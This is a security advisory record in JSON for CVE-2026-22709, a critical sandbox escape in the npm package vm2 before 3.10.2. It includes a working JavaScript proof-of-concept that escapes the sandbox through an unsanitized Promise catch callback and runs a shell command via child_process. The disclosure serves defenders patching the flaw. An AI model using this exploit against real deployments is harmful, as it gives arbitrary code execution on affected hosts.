{"id":"GHSA-99p7-6v5w-7xg8","summary":"vm2 has a Sandbox Escape","details":"In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () =\u003e error.stack;\nconst promise = f();\npromise.catch(e =\u003e {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.","aliases":["CVE-2026-22709"],"modified":"2026-01-29T03:39:20.337505Z","published":"2026-01-26T18:57:14Z","database_specific":{"github_reviewed_at":"2026-01-26T18:57:14Z","nvd_published_at":"2026-01-26T22:15:55Z","cwe_ids":["CWE-693","CWE-913","CWE-94"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22709"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.2"}],"affected":[{"package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.10.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-99p7-6v5w-7xg8/GHSA-99p7-6v5w-7xg8.json","last_known_affected_version_range":"\u003c= 3.10.1"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}